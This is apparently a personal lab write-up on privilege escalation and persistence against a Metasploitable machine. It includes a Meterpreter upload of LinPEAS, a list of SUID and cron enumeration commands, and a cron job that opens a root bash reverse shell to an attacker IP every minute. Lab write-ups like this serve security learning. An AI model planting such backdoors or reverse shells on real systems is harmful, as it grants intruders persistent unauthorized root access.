



## Privilege Escalation and Persistence Lab

Author: Harshal Harekar

Date: 28/10/2025

### Objective

Gain root privileges on the target system using local enumeration and SUID exploitation.

### Tools

LinPEAS, Meterpreter, cron, systemd.

### Steps

1. Run LinPEAS; capture results.

```
upload linpeas.sh
Usage: upload [src] [dst]

Uploads load file to the victim machine.
This command does not support to upload a FOLDER yet

upload /home/aazukaazu/linpeas.sh /tmp/linpeas.sh
[*] Max line length is 65537
[*] Writing 971926 bytes in 60 chunks of 57739 bytes (octal-encoded), using printf
[*] Next chunk is 54172 bytes
[*] Next chunk is 53381 bytes
[*] Next chunk is 56532 bytes
[*] Next chunk is 56049 bytes
[*] Next chunk is 60151 bytes
[+] File </tmp/linpeas.sh> upload finished
chmod +x linpeas.sh
chmod: cannot access `linpeas.sh': No such file or directory
ls tmp
5197.jsvc_up
linpeas.sh
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
chmod +x linpeas.sh
chmod +x linpeas.sh
chmod: cannot access `linpeas.sh': No such file or directory
root@metasploitable:/# sudo chmod +x /tmp/linpeas.sh
sudo chmod +x /tmp/linpeas.sh
root@metasploitable:/# cd ?tmp
cd ?tmp
bash: cd: ?tmp: No such file or directory
root@metasploitable:/# cd /tmp
cd /tmp
root@metasploitable:/tmp# ls
ls
```



```
root@metasploitable:/# cd /tmp
cd /tmp
root@metasploitable:/tmp# ls
ls
5197.jsvc_up linpeas.sh
root@metasploitable:/tmp# sudo ./linpeas.sh
sudo ./linpeas.sh
```



## 2. Privilege Escalation

Look for:

- SUID binaries (find / -perm -4000 -type f)
- Writable cron jobs (crontab -l, /etc/cron.d/)
- Kernel version (uname -r) → check for known exploits

## 3. Persistence

Create a cron job or backdoor and start listener

```
root@metasploitable:/# echo "* * * * * root /bin/bash -i >& /dev/tcp/192.168.18.133/4518 0>&1" > /etc/cron.d/backdoor
133/4518 0>&1" > /etc/cron.d/backdoor/dev/tcp/192.168.18.
root@metasploitable:/# echo "* * * * * root /bin/bash -i >& /dev/tcp/192.168.18.133/4518 0>&1" > /etc/cron.d/backdoor
133/4518 0>&1" > /etc/cron.d/backdoor/dev/tcp/192.168.18.
root@metasploitable:/# chmod 644 /etc/cron.d/backdoor
chmod 644 /etc/cron.d/backdoor
chmod: cannot access '/etc/cron.d/backdoor': No such file or directory
root@metasploitable:/# chmod 644 /etc/cron.d/backdoor
chmod 644 /etc/cron.d/backdoor
```



## PrivEsc Log

Task ID	Technique	Target IP	Status	Outcome
1	SUID Exploit	192.168.18.138	Succes	Root Shell
2	Cron Persistence	192.168.18.138	Succes	Reverse Shell Every Minute

## Persistence Summary

To maintain access, a cron job was created under `/etc/cron.d/` that executes a reverse shell every minute. This ensures persistent root access even after reboot. The job uses bash to connect back to the attacker's listener, providing a stealthy and recurring foothold on the compromised system.